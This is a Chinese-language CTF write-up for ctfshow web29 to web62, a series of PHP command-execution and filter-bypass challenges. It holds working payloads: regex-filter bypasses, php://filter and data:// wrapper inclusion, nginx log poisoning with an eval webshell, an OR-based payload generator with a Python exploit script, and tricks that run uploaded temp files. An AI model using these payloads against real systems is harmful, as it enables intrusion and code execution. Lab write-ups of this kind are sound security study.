命令执行

web29

命令执行,需要严格的过滤

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-04 00:12:34
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-04 00:26:48
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/

error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
}

语法

int preg_match ( string $pattern , string $subject [, array &$matches [, int $flags = 0 [, int $offset = 0 ]]] )

image-20240717223721326

image-20240717222415930

注意;结尾

利用system()函数执行shell,利用cat f*绕过flag正则过滤,其中f*指f开头的文件

?c=system('cat f*');

image-20240717220247131

web30

命令执行,需要严格的过滤

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-04 00:12:34
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-04 00:42:26
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/

error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
}

过滤了flagsystemphp

除了system函数,还可以用passthrushell_exec

?c=echo passthru('ls');

image-20240717225105086

shell_exec前需要用echo来回显

?c=echo shell_exec('cat f*');

image-20240717230303560

ctfshow{17d927ad-bb1f-406f-b961-a6378cf6f8c2}

system、passthru、exec和shell_exec区别

简单来说,system与passthru类似,都会自动回显

exec和shell_exec则不会回显,而是以字符串的方式返回,其中shell_exec会将完整的输出以字符串的方式返回,而exec返回命令执行结果的最后一行内容

web31

命令执行,需要严格的过滤

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-04 00:12:34
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-04 00:49:10
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/

error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
}

过滤了一堆,无伤大雅

法一

?c=passthru("c\at%09f*");

c\at绕过cat过滤,其中\为转义字符,\a转义后仍为a

%09为URL编码,解码后为制表符(\t),绕过空格

f**为通配符,匹配f开头的文件

法二

?c=eval($_GET[1]);&1=echo`cat flag.php`;

利用eval函数构造传参执行,其中``作用同shell_exec

ctfshow{9e05f53e-babe-400b-986e-c41331322ae1}

web32

命令执行,需要严格的过滤

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-04 00:12:34
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-04 00:56:31
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/

error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
}

(;`都被过滤了,可以构造一个文件包含,伪协议拿到flag

?c=include%09$_GET[1]?>&1=php://filter/convert.base64-encode/resource=flag.php

%09代替空格,?>代替;

image-20240718015207765

base64解码

image-20240718015510848

ctfshow{158a10e2-f145-47bf-8495-4b4aadfe5ec7}

web33

命令执行,需要严格的过滤

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-04 00:12:34
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-04 02:22:27
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
//
error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\"/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
}

web32

ctfshow{d1e51e89-effb-4894-8c2b-92cfeddae19f}

web34

命令执行,需要严格的过滤

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-04 00:12:34
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-04 04:21:29
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/

error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
}

法一

web32

法二

日志注入

通常,在每次web请求时,像nginx、apache等中间件都会在日志记录每次请求,在Linux中通常保存在/var/log/<中间件>/access.log中

确定是Nginx

image-20240718191144399

由于php不解析<?php ?>以外的文本,在本题中可通过/?c=include$_GET[1]?%3E&1=/var/log/nginx/access.log查看

image-20240718185452494

其中包含了每次请求的ip、时间、方式、路由、http头等

我们可以利用请求信息来注入一句话木马,然后再利用文件包含木马进行连接

<?php @eval($_POST['cmd']);?>

然鹅,在路由放置木马会被编码,即使利用bp发包遇到空格也会400

image-20240718190056378

但,我们可以在http头中进行注入

User-Agent头

image-20240718190337904

Referer头

image-20240718190344658

此时,再次查看日志

image-20240718190530637

空空如也,别担心,说明已经成功注入到日志中了,被php解析掉了

现在可以用蚁剑连接到此

image-20240718190735920

注意一定要改成http协议,或者在其他设置中勾选忽略https证书

image-20240718190942400

然后就可以为所欲为了image-20240718191027979

ctfshow{96e8be64-787b-4d9c-a506-e720a8157ee8}

web35

命令执行,需要严格的过滤

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-04 00:12:34
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-04 04:21:23
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/

error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"|\<|\=/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
}

web34

web36

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-04 00:12:34
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-04 04:21:16
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/

error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"|\<|\=|\/|[0-9]/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
}

web34

/?c=include%09$_GET[a]?>&a=php://filter/convert.base64-encode/resource=flag.php

web37

命令执行,需要严格的过滤

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-04 00:12:34
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-04 05:18:55
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/

//flag in flag.php
error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag/i", $c)){
        include($c);
        echo $flag;
    
    }
        
}else{
    highlight_file(__FILE__);
}

日志注入

Referer头改成一句话木马

image-20240718194611133

蚁剑连接?c=/var/log/nginx/access.log,密码cmd

image-20240718194518121

data伪协议

由于过滤了flag,base64加密<?php system('cat flag.php');构造data伪协议绕过

?c=data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs=

image-20240718200258812

ctfshow{01d32915-2dbb-44d7-95ad-8025e82d8d51}

web38

命令执行,需要严格的过滤

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-04 00:12:34
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-04 05:23:36
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/

//flag in flag.php
error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|php|file/i", $c)){
        include($c);
        echo $flag;
    
    }
        
}else{
    highlight_file(__FILE__);
}

web37

ctfshow{cb1aec58-3812-4710-b0f1-3aa7348057f1}

web39

命令执行,需要严格的过滤

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-04 00:12:34
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-04 06:13:21
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/

//flag in flag.php
error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag/i", $c)){
        include($c.".php");
    }
        
}else{
    highlight_file(__FILE__);
}

屁股加了个.php,无伤大雅,?>闭合即可

?c=data://text/plain,<?php system('cat f*');?>

image-20240718225237941

ctfshow{d60a23cc-a4a6-4a29-9ffe-e5b180ab2e11}

web40

命令执行,需要严格的过滤

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-04 00:12:34
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-04 06:03:36
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/


if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/[0-9]|\~|\`|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\=|\+|\{|\[|\]|\}|\:|\'|\"|\,|\<|\.|\>|\/|\?|\\\\/i", $c)){
        eval($c);
    }
        
}else{
    highlight_file(__FILE__);
}

符号都被过滤了,无参数绕过

方法太多了,举两种

法一

?c=eval(next(pos(get_defined_vars())));&1=system('cat flag.php');
get_defined_vars()

返回一个包含所有已定义变量列表的多维数组,这些变量包括环境变量、服务器变量和用户定义的变量。

image-20240718235812969

pos()

同current(),返回数组中的单元,默认取第一个值。

next()

将内部指针指向数组中的下一个元素,并输出

next(pos(get_defined_vars()))相当于在get_defined_vars()结果取出第一个值——_GET数组,此时指针在_GET数组中第一个单元上,即c : eval(next(pos(get_defined_vars())));&1=system('cat flag.php');,再移动指针到下一位,即get传入的第二的参数1 : system('cat flag.php');,最终,返回system('cat flag.php');

法二

highlight_file(next(array_reverse(scandir(current(localeconv())))));

image-20240719001201439

localeconv()

可以发现localeconv()返回的数组第一个元素值为.,可以利用该字符遍历当前目录

image-20240719002900148

scandir()

将返回当前目录中的所有文件和目录的列表。返回的结果是一个数组,其中包含当前目录下的所有文件和目录名称

image-20240719010600867

array_reverse

字面意思,反转数组

image-20240719010509999

web41

过滤不严,命令执行

<?php

/*
# -*- coding: utf-8 -*-
# @Author: 羽
# @Date:   2020-09-05 20:31:22
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-05 22:40:07
# @email: 1341963450@qq.com
# @link: https://ctf.show

*/

if(isset($_POST['c'])){
    $c = $_POST['c'];
if(!preg_match('/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i', $c)){
        eval("echo($c);");
    }
}else{
    highlight_file(__FILE__);
}
?>

发现字母数字和大部分符号都被过滤了,但|未过滤,可以利用该符号进行或运算,之前做过异或运算(^)的题,用的羽师傅的脚本,这次再用一次羽师傅的或运算脚本

<?php
$myfile = fopen("rce_or.txt", "w");
$contents="";
for ($i=0; $i < 256; $i++) { 
	for ($j=0; $j <256 ; $j++) { 

		if($i<16){
			$hex_i='0'.dechex($i);
		}
		else{
			$hex_i=dechex($i);
		}
		if($j<16){
			$hex_j='0'.dechex($j);
		}
		else{
			$hex_j=dechex($j);
		}
		$preg = '/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i';//改成对应过滤正则
		if(preg_match($preg , hex2bin($hex_i))||preg_match($preg , hex2bin($hex_j))){
					echo "";
    }
  
		else{
		$a='%'.$hex_i;
		$b='%'.$hex_j;
		$c=(urldecode($a)|urldecode($b));
		if (ord($c)>=32&ord($c)<=126) {
			$contents=$contents.$c." ".$a." ".$b."\n";
		}
	}

}
}
fwrite($myfile,$contents);
fclose($myfile);

# -*- coding: utf-8 -*-
import requests
import urllib
from sys import *
import os
from urllib.parse import quote

os.system("php rce_or.php")  # 没有将php写入环境变量需手动运行
if (len(argv) != 2):
    print("=" * 50)
    print('USER:python exp.py <url>')
    print("eg:  python exp.py http://ctf.show/")
    print("=" * 50)
    exit(0)
url = argv[1]


def action(arg):
    s1 = ""
    s2 = ""
    for i in arg:
        f = open("rce_or.txt", "r")
        while True:
            t = f.readline()
            if t == "":
                break
            if t[0] == i:
                # print(i)
                s1 += t[2:5]
                s2 += t[6:9]
                break
        f.close()
    output = "(\"" + s1 + "\"|\"" + s2 + "\")"
    return (output)


while True:
    param = action(input("\n[+] your function:")) + action(input("[+] your command:"))
    data = {
        'c': urllib.parse.unquote(param)
    }
    print(param)	//该处输出编码前数据
    r = requests.post(url, data=data)
    print("\n[*] result:\n" + r.text)

先根据题目过滤修改php代码中的正则表达式,再用此php代码生成可用字符集rce_or.txt,再终端运行

倘若配好php系统环境变量,改完正则后直接运行以下脚本即可

python exp.py [url] 

然后填入functioncommand即可

image-20240719233108122

ctfshow{6ef78934-18a8-4d8f-bde9-2bdbb1be810c}

此脚本仅针对该题,倘若改成GET传参或嵌套函数利用等,利用或修改如下

param = action(input("\n[+] your function:")) + action(input("[+] your command:"))

手动传参即可

web42

命令执行,需要严格的过滤

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-05 20:49:30
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-05 20:51:55
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/


if(isset($_GET['c'])){
    $c=$_GET['c'];
    system($c." >/dev/null 2>&1");
}else{
    highlight_file(__FILE__);
}

发现传参后面跟了一串>/dev/null 2>&1,意思是将标准输出和错误输出全部重定向到/dev/null中,通俗讲,就是吧输出给你扔了,但问题不大,注释掉即可,linux中#后为注释,但ls #为何无结果呢?

原因是在url中#表示书签,不进行转义,解决办法强行转义成%23即可,或者用;%0a(换行符)隔断也可

?c=cat f* %23

image-20240720000927338

ctfshow{e37535d4-09b3-4df4-83a7-92e94589a094}

web43

命令执行,需要严格的过滤

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-05 20:49:30
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-05 21:32:51
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/


if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}

如图

image-20240720001231478

ctfshow{4356c844-959e-4bf5-9d8c-b962db2c4ef8}

web44

命令执行,需要严格的过滤

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-05 20:49:30
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-05 21:32:01
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/


if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/;|cat|flag/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}

如图

image-20240720001506784

ctfshow{1fcea7b9-b0ef-4498-b332-8a606c62af03}

前面没提到cat被过滤这个问题,这里说一下吧

cat类似命令:

cat 由第一行开始显示档案内容

tac 倒过来的cat,输出也是倒着的(行)

more 按页显示档案内容

less 与 more 类似,但是比 more 更好的是,他可以往前翻页!

head 输出头几行

tail 输出尾巴几行

nl 输出行号+内容

od 以二进制输出

strings

uniq -c

bash -v

rev 反转

type windows中查看文件内容

web45

命令执行,需要严格的过滤

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-05 20:49:30
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-05 21:35:34
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/


if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| /i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}

空格被过滤,用%0a(制表符)或${IFS}<><||代替即可

image-20240720005607143

web46

命令执行,需要严格的过滤

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-05 20:49:30
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-05 21:50:19
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/


if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}

心情好,多写几种解

[a-z]az任意字符

?c=tac%09f[a-z]ag.php%0a

?:任意字符

?c=tac%09????????%0a

`ls`:执行ls后结果

?c=tac%09`ls`%0a

web47

命令执行,需要严格的过滤

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-05 20:49:30
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-05 21:59:23
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/


if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}

web44讲得几种代替cat的用法都被pass了(其实tac没有)

介绍几种新方法:

0x00 /转义

?c=ca\t%09fl\ag.php%0a

image-20240720011723110

0x01 ‘’

?c=ca''t%09fl''ag.php%0a

0x02 空变量绕过

?c=ca$@t%09fl$@ag.php%0a

$被过滤了

······

怎么骚怎么来

ctfshow{89d9b1be-6329-4f24-80b1-21e8b0e4c06b}

web48

命令执行,需要严格的过滤

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-05 20:49:30
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-05 22:06:20
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/


if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}

怎么还不禁tac😠

?c=tac%09f\lag.php%0a

image-20240720014014919

ctfshow{40cf348b-1af9-4b6e-9b53-1d623bc69881}

web49

命令执行,需要严格的过滤

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-05 20:49:30
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-05 22:22:43
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/


if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`|\%/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}

禁%没啥用,在进过滤之前就当url解码掉了

image-20240720014827456

?c=tac%09f\lag.php%0a

ctfshow{09546ade-e018-4630-8a31-2f61dda7e39e}

web50

命令执行,需要严格的过滤

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-05 20:49:30
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-05 22:32:47
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/


if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`|\%|\x09|\x26/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}

同上

?c=tac<fla\g.php||

ctfshow{f9cd4d96-c371-4e93-b41d-e04159e26aae}

web51

命令执行,需要严格的过滤

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-05 20:49:30
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-05 22:42:52
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/


if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}
?c=nl<f''lag.php||

flag.php内容重定向到nl输出

image-20240720121306250

web52

命令执行,需要严格的过滤

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-05 20:49:30
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-05 22:50:30
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/


if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\*|more|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26|\>|\</i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}
?c=ca''t${IFS}/fl''ag||

image-20240720122700280

web53

命令执行,需要严格的过滤

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-05 20:49:30
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-07 18:21:02
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/


if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\*|more|wget|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26|\>|\</i", $c)){
        echo($c);
        $d = system($c);
        echo "<br>".$d;
    }else{
        echo 'no';
    }
}else{
    highlight_file(__FILE__);
}
?c=ca''t${IFS}fla''g.php

image-20240720181430380

web54

命令执行,需要严格的过滤

<?php

/*
# -*- coding: utf-8 -*-
# @Author: Lazzaro
# @Date:   2020-09-05 20:49:30
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-07 19:43:42
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/


if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|.*c.*a.*t.*|.*f.*l.*a.*g.*| |[0-9]|\*|.*m.*o.*r.*e.*|.*w.*g.*e.*t.*|.*l.*e.*s.*s.*|.*h.*e.*a.*d.*|.*s.*o.*r.*t.*|.*t.*a.*i.*l.*|.*s.*e.*d.*|.*c.*u.*t.*|.*t.*a.*c.*|.*a.*w.*k.*|.*s.*t.*r.*i.*n.*g.*s.*|.*o.*d.*|.*c.*u.*r.*l.*|.*n.*l.*|.*s.*c.*p.*|.*r.*m.*|\`|\%|\x09|\x26|\>|\</i", $c)){
        system($c);
    }
}else{
    highlight_file(__FILE__);
}

新骚姿势,cp易名复制到当前目录下,直接download下来

?c=cp${IFS}f?ag.php${IFS}./a
/a

image-20240720182325924

ctfshow{3c0e594f-fa85-48d1-996f-b7e38dfabd34}

web55

命令执行,需要严格的过滤

<?php

/*
# -*- coding: utf-8 -*-
# @Author: Lazzaro
# @Date:   2020-09-05 20:49:30
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-07 20:03:51
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/

// 你们在炫技吗?
if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|[a-z]|\`|\%|\x09|\x26|\>|\</i", $c)){
        system($c);
    }
}else{
    highlight_file(__FILE__);
}

大小写全被过滤了,数字空格没有被过滤,新姿势,八进制绕过,在Linux中$'\141'会将\141以八进制形式转义成对应十进制ascii码字符

image-20240720184135358

?c=$'cat' $'flag.php'

''中字符转为八进制ascii码

?c=$'\143\141\164' $'\146\154\141\147\56\160\150\160'

ctfshow{2836cc15-16d4-4153-bfbe-74d130f91405}

web56

命令执行,需要严格的过滤

<?php

/*
# -*- coding: utf-8 -*-
# @Author: Lazzaro
# @Date:   2020-09-05 20:49:30
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-07 22:02:47
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/

// 你们在炫技吗?
if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|[a-z]|[0-9]|\\$|\(|\{|\'|\"|\`|\%|\x09|\x26|\>|\</i", $c)){
        system($c);
    }
}else{
    highlight_file(__FILE__);
}

先附上p神的无字母数字webshell之提高篇 | 离别歌 (leavesongs.com)

很经典的题了,无字母数字RCE,倘若是eval函数还可以取反什么的,system可操作的空间就很少了,只能用符号与shell交互

然鹅

在linux中.相当于source指令,可以执行.sh脚本

在php中,post上传文件会在/tmp目录下生成一个php??????临时文件(?为随机大小写字母),在请求结束之后,该临时文件才会被清除

这样,就可以构造一个请求利用.执行上传的临时文件,如. /???/?????????

然鹅

/???/?????????通配的文件不止一个,无法指定执行

image-20240720235454325

不过,可以发现我们上传的临时文件是随机大小写混合,而其他文件均为小写,我们只要让某位置指定为大写,当回赌狗即可,可字母全被ban了,如何指定为大写呢

image-20240720235924718

利用glob通配符,[@-[],覆盖所有大写字母

于是,强行构造一个post上传执行脚本的文件

POST ?c=.+/???/????????[@-[] HTTP/1.1
Host: 127.0.0.1
Content-Type: multipart/form-data; boundary=---------------------------22
Content-Length: 192

-----------------------------22
Content-Disposition: form-data; name="file"; filename="sh"
Content-Type: application/octet-stream

#!/bin/sh
cat index.php
-----------------------------22

剩下的就当赌狗了

image-20240721000808048

ctfshow{e4fce030-bfcc-4f29-8cff-625f52bf3bc9}

web57

命令执行,需要严格的过滤,已测试,可绕

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-05 20:49:30
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-08 01:02:56
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/

// 还能炫的动吗?
//flag in 36.php
if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|[a-z]|[0-9]|\`|\|\#|\'|\"|\`|\%|\x09|\x26|\x0a|\>|\<|\.|\,|\?|\*|\-|\=|\[/i", $c)){
        system("cat ".$c.".php");
    }
}else{
    highlight_file(__FILE__);
}

源码提示//flag in 36.php,基本都被禁了,不过可以利用取反构造出数字就可以了

$()==>(空)

$(())==>0

$((~$(())))==>$((~0))==>-1

$((~$(())))$((~$(())))==>$((~0))$((~0))==>-1-1

$(($((~$(())))$((~$(()))))==>$(($((~0))$((~0))))==>$((-1-1))==>-2

$((~$(($((~$(())))$((~$(())))))))==>$((~$(($((~0))$((~0))))))==>$((~$((-1-1))))==>$((~-2))==>1

image-20240721021728974

本质是利用$(())-~$(())做运算,~取反产生负号,-作减法运算

于是,用37个$((~0))生成的37个-1拼接在一起再作一次$((-1-1···-1))便成了-37,最后取反$((~ ))出了36

image-20240721021814497

?
c=$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))

image-20240721022248787

ctfshow{827f5b1f-b76c-4ca8-b5ba-9209a84c830f}

web58

命令执行,突破禁用函数

<?php

/*
# -*- coding: utf-8 -*-
# @Author: Lazzaro
# @Date:   2020-09-05 20:49:30
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-07 22:02:47
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/

// 你们在炫技吗?
if(isset($_POST['c'])){
        $c= $_POST['c'];
        eval($c);
}else{
    highlight_file(__FILE__);
}

乍一看,寻思进post篇了?

梭一下,发现原来ban函数了

image-20240721022856453

想看看ban了哪些,没想到phpinfo()也被ban了

image-20240721022849908

试了一下,四个函数都被ban了,可恶

不过问题不大,能看到源码就能看到flag

c=highlight_file('flag.php');

image-20240721023407550

ctfshow{d9faf2b7-d802-4b7c-b115-b8bb1b4068e0}


web58-web65题目相同,点击此处传送至web66

web59

命令执行,突破禁用函数

<?php

/*
# -*- coding: utf-8 -*-
# @Author: Lazzaro
# @Date:   2020-09-05 20:49:30
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-07 22:02:47
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/

// 你们在炫技吗?
if(isset($_POST['c'])){
        $c= $_POST['c'];
        eval($c);
}else{
    highlight_file(__FILE__);
}

web58

web60

命令执行,突破禁用函数

<?php

/*
# -*- coding: utf-8 -*-
# @Author: Lazzaro
# @Date:   2020-09-05 20:49:30
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-07 22:02:47
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/

// 你们在炫技吗?
if(isset($_POST['c'])){
        $c= $_POST['c'];
        eval($c);
}else{
    highlight_file(__FILE__);
}

web58

ctfshow{df1c4f53-1fd1-41b7-aa43-ff6854b9adea}

web61

命令执行,突破禁用函数

<?php

/*
# -*- coding: utf-8 -*-
# @Author: Lazzaro
# @Date:   2020-09-05 20:49:30
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-07 22:02:47
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/

// 你们在炫技吗?
if(isset($_POST['c'])){
        $c= $_POST['c'];
        eval($c);
}else{
    highlight_file(__FILE__);
}

web58

ctfshow{6841c599-a0cd-49eb-8c54-999f7f257def}

web62

命令执行,突破禁用函数

<?php

/*
# -*- coding: utf-8 -*-
# @Author: Lazzaro
# @Date:   2020-09-05 20:49:30
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-07 22:02:47
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/

// 你们在炫技吗?
if(isset($_POST['c'])){
        $c= $_POST['c'];
        eval($c);
}else{
    highlight_file(__FILE__);
